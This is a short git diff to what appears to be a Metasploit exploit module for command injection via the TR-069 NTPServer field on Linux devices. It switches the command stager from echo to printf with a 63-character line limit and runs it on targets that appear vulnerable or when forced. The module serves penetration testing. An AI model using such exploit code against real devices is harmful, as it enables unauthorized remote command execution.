diff --git a/modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb index bf7ec0b94d..ebd335f4a2 100644 --- a/modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb @@ -116,15 +116,22 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Safe end + def inject_staged_data + execute_cmdstager( + flavor: :printf, + linemax: 63 + ) + end + def exploit print_status("#{peer} - Checking...") if check == Exploit::CheckCode::Appears print_status("#{peer} - Appears vulnerable") - execute_cmdstager({:flavor => :echo}) + inject_staged_data elsif datastore['FORCE_EXPLOIT'] print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.") - execute_cmdstager({:flavor => :echo}) + inject_staged_data else fail_with(Failure::Unknown, "#{peer} - Failed to access the device") end